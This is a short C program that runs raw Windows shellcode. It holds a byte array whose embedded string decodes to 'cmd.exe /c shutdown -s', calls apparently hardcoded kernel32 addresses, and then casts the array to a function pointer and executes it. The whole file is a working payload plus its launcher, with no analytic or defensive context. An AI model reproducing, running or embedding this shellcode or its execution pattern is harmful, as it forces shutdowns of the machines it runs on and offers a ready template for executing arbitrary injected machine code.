#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){

    unsigned char shellcode[]=
    "\xeb\x1b\x5b\x31\xc0\x50\x31"
        "\xc0\x88\x43\x35\x53\xbb\xad\x23\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
    "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"
        "\x73\x68\x75\x74\x64\x6f\x77\x6e"
        "\x20\x2d\x73";

    printf("Size = %d bytes\n", strlen(shellcode));

    ((void (*)())shellcode)();

    return 0;
}